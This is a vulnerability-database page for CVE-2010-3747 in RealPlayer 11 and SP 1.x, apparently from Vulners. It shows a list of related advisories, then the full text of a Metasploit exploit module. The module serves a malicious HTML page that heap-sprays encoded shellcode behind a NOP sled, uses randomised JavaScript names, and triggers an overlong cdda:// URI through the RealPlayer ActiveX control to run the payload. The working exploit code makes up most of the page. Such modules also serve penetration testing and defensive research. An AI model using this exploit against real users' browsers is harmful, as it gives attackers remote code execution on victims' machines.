RealNetworks RealPlayer CDDA URI Initialization Vulnerability

🗓️ 15 Nov 2010 00:00:00Reported by bannedit <[email protected]>, sinn3r <[email protected]>Type

RealPlayer CDDA URI Initialization Vulnerability in version 11/11.1 and SP 1.0 - 1.1.4 allows object initialization failure, leading to uninitialized memory executio

Reporter	Title	Published	Views	Family All 21
zdt	RealNetworks RealPlayer CDDA URI Initialization Vulnerability	18 Mar 201100:00	–	zdt
Tenable Nessus	Real Networks RealPlayer SP < 1.1.5 Multiple Vulnerabilities	27 Aug 201000:00	–	nessus
Tenable Nessus	RealPlayer for Windows < Build 12.0.0.879 Multiple Vulnerabilities	27 Aug 201000:00	–	nessus
Tenable Nessus	RealPlayer Enterprise for Windows < Build 6.0.12.1823 Multiple Vulnerabilities	19 Oct 201000:00	–	nessus
Circl	CVE-2010-3747	17 Mar 201100:00	–	circl
Check Point Advisories	RealNetworks RealPlayer CDDA URI Uninitialized Pointer Code Execution (CVE-2010-3747)	28 Oct 201000:00	–	checkpoint_advisories
Check Point Advisories	RealPlayer CDDA URI Code Execution - Ver2 (CVE-2010-3747)	28 Jan 201400:00	–	checkpoint_advisories
CVE	CVE-2010-3747	18 Oct 201022:00	–	cve
Cvelist	CVE-2010-3747	18 Oct 201022:00	–	cvelist
d2	DSquare Exploit Pack: D2SEC_CDDAURI	19 Oct 201000:00	–	d2

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'RealNetworks RealPlayer CDDA URI Initialization Vulnerability',
        'Description' => %q{
          This module exploits an initialization flaw within RealPlayer 11/11.1 and
          RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object
          initialization failure. However, this failure is improperly handled and
          uninitialized memory executed.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'bannedit',
          'sinn3r'
        ],
        'References' => [
          [ 'CVE', '2010-3747' ],
          [ 'OSVDB', '68673'],
          [ 'BID', '44144' ],
          [ 'ZDI', '10-210'],
          [ 'URL', 'http://service.real.com/realplayer/security/10152010_player/en/']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'RealPlayer SP 1.0 - 1.1.4 Universal', { 'Ret' => 0x21212121 } ],
          [ 'RealPlayer 11.0 - 11.1 Universal', { 'Ret' => 0x21212121 } ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-11-15',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    mytarget = target

    # the ret slide gets executed via call [esi+45b]
    retslide = [mytarget.ret].pack('V') * 750
    cdda_uri = "cdda://" + retslide

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    nops = make_nops(8)
    nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))

    # Randomize Javascript variables
    var_blocks = rand_text_alpha(rand(6) + 3)
    var_shellcode = rand_text_alpha(rand(6) + 3)
    var_index = rand_text_alpha(rand(6) + 3)
    var_nopsled = rand_text_alpha(rand(6) + 3)
    spray_func = rand_text_alpha(rand(6) + 3)
    obj_id = rand_text_alpha(rand(6) + 3)
    randnop = rand_text_alpha(rand(100) + 1)
    html = <<~EOS
      <html>
      <head>
      <script>
      function #{spray_func}() {
        #{var_blocks} = new Array();
        var #{var_shellcode} = unescape("#{shellcode}");
        var #{randnop} = "#{nop_sled}";
        var #{var_nopsled} = unescape(#{randnop});
        do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length < 8200);
          for (#{var_index}=0; #{var_index} < 19000; #{var_index}++)
            #{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode};
        }
      #{spray_func}();
      </script>
      </head>
      <object id=#{obj_id} classid='clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA' width=0 height=0>
      <param name="CONTROLS" value="ControlPanel">
      <param name="src" value="#{cdda_uri}">
      </object>
      <script language="VBScript">
      #{obj_id}.DoPlay
      </script>
      </html>
    EOS
    print_status("Sending #{self.name} HTML")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end

15 Nov 2010 00:00Current

5.3Medium risk

Vulners AI Score5.3

CVSS 29.3

EPSS0.34786